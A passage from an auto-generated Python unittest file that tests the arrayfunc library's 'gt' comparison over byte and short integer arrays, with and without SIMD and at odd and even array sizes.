with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code B.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code B.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code B.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code B.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code B.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code B.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_B_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'B' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'B' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.B_min
maxval = arrayfunc.arraylimits.B_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'B' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('B', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('B', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('B', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('B', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('B', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code B.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code B.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code B.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code B.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code B.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code B.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code B.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code B.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code B.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_B_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'B' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'B' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.B_min
maxval = arrayfunc.arraylimits.B_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'B' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('B', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('B', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('B', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('B', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('B', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code B.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code B.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code B.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code B.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code B.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code B.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code B.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code B.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code B.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_h_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'h' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'h' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'h' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('h', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('h', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('h', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('h', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('h', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code h.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code h.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code h.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code h.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code h.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code h.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code h.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code h.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code h.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_h_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'h' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'h' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'h' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('h', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('h', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('h', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('h', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('h', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code h.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code h.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code h.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code h.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code h.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code h.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code h.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code h.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code h.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_h_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'h' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'h' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'h' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('h', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('h', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('h', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
